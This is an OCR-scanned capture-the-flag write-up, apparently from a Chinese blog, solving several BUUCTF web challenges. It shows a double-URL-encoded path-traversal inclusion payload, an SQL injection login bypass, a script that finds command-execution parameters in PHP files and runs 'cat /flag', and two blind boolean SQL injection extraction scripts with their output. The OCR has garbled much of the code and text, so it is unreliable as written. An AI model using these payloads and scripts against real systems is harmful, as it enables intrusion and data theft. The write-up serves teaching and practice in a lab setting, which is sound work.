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<IDOCTYPE html> ) TE
<html lang="en"» T

¥ <head> [ </head

<! -_spurce.php--»

<br>»
<img src="https://i.l0li.net/2818/11/@1/5hdbada3dc794. jpe™>
</ body»
</html>
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| Jwhitelist = [“source”=>"source.php”, "hint”=>"hint. php™]:
if {1 isset($paze) || l'is_strinz(3paze)) |
echo ”yuu can’ t see it”;
return  false;

}

if (in_array(3paze, Jwhitelist)) |
return  true;

}
$_page = mb_substrl

Ipage,

0:

mb_strposipaze . "7, T7)
)

if (in_arrav(3_pasge, Jwhitelist)) |
return true;

}
3 paze = wrldecode(3page);
3 paze = mb_substr(
$_page,
0,
mb_strposid page . 77, 7))

if (in_array(3 _page, Iwhitelist)) |
return  true;

1

echo ”you can’ t  sSee it”;

return false;


https://blog.csdn.net/qq_38850916
https://blog.csdn.net/qq_38850916/category_11408071.html
https://so.csdn.net/so/search/s.do?q=%25E4%25BF%25A1%25E6%2581%25AF%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_38850916/article/details/120702160
https://blog.csdn.net/qq_38850916/category_11408071.html

$&7~source.php, i il/hint.phpEE N &

flag not here, and flag in ffffllllaaaagggg
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payload

?file=hint.php%253f/../../../../../ffffllllaaaagggg

<« C A F== | 0b270008-%0a-474d-9d16-c0c514dc4d3c.noded.buuoj.cn:d1/?ile=hint.php%253f/.././.././ . /fflllaaaagagg

flag{6878d833-cd2d-4485-80ca-4ae49ede75ch}

payloadf##r:
%253 il Y5 28 15 N\ & decode A %3f, %3 urldecode () ik #2384 hint.php /../../../.././ ffffllaaaagggg i # B D& N 2l 5
i 7 i AT include(hint.php /./../.1..1../ fifflllaaaagggg )
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You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near "1 at line 1
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?username=1&password=1' or '1' = '

BRI HEN SR 5w £ 78 iiselect * from table where username = '1' and password = "1' or '1'
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import re
import os
import requests

files = os.listdir('src/")
reg = re.compile(r'\$_[GETI{3}\[\'(.+)\'\]")
for i in files:
f = open('src/'+1i)
print('KAECMH +1)
data = f.read()
f.close()
result = reg.findall(data)
#tprint(i,result,"\n")
url = "http://2073ca8f-43a7-4086-b9b6-c03b0ddd39f3.node4.buuoj.cn:81/"
for j in result:
payload = url + i + '?' + j + '=echo 123456
#tprint(payload)
try:
res = requests.get(url=payload,timeout=5)
except:
print(222222222)
if '123456' in res.text:
print(payload)
payloadl=url+i+'?"'+j+'=cat /flag'
resl = requests.get(url=payloadl)
#print(payloadl)
regl = re.compile(r'flag\{.*?\}")
result_flag = regl.findall(resl.text)
print(result_flag)
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http://2073ca8f-43a7-4086-b9b6-c03bBddd39f3.noded.buuoj.cn:81/xk@SzyKwfzw.php?Efa5BVG=echo 123456
['flag{c67a8c51-f28e-4fd9-bbal-8dffe98ceda7}"]
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All You Want Is In Table ‘flag’ and the column is 'flag’

Now, just give the id of passage
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import re
import requests
result = ""
url="http://762429ff-8ef9-43ef-90c7-60240da®f142.node4.buuoj.cn:81/"
for i in range(1,50):
print(i)
for j in range(1,128):
post_data = {'id':"1=(ascii(substr((select(flag)from(flag)),%s,1))=%s)"%(i,7)}
try:
res = requests.post(url=url,data=post_data,timeout=1)
print(post_data)
if 'Hello' in res.text:
result+=chr(j)
print(result)
break
except:
print('4e4")
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tlag{52d6818b-1ade-41a6-aaf
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tlag{52d6818b-1al@e-41a6-aaft

29

t1lag{52d6818b-1aBe-41a6-aatt-

30
tlag{52d6818b-1aBe-41a6-aaff-a
21
t1lag{52d6818b-1abe-41a6-aaff-ae
32
t1lag{52d6818b-1abe-41a6-aaff-ae5
33
t1lag{52d6818b-1abe-41a6-aaff-ae5
L)

34
tlag{52d6818b-1abe-41a6-aaff-ae5
e7

35
tlag{52d6818b-1abe-41a6-aaff-ae5
@7a

36
tlag{52d6818b-1abe-41a6-aaff-ae5
e7ai7

37
tlag{52d6818b-1abe-41a6-aaff-ae5
@7ai4
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tlag{52d6818b-1abe-41a6-aaff-ae5
@7a74ef

46
tlag{52d6818b-1abe-41a6-aaff-ae5
@7a74¢ef8

41
tlag{52d6818b-1abe-41a6-aaff-ae5
@7a74ef8a

42
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import re

import requests

from requests.api import post
result = ""
url="http://762429ff-8ef9-43ef-90c7-60240dadf142.node4.buuoj.cn:81/"

for i in range(1,50):

print(i)
low = 1
high = 127

while(low<=high):
mid = (low+high)//2
post_data = {'id':"1=(ascii(substr((select(flag)from(flag)),%s,1))>%s)"%(i,mid)}
post_datal = {'id':"1=(ascii(substr((select(flag)from(flag)),%s,1))=%s)"%(i,mid)}
#print(mid)
#resl = requests.post(url=url,data=post_datal,timeout=1)
try:
res = requests.post(url=url,data=post_data,timeout=1)
except:
print('res#E#ZiRsE")
if 'Hello' in res.text:
low=mid +1
else:
try:
resl = requests.post(url=url,data=post_datal,timeout=1)
except:
print('reslEBHE")
if 'Hello' in resl.text:
result +=chr(mid)
print(result)
break
else:
high=mid-1
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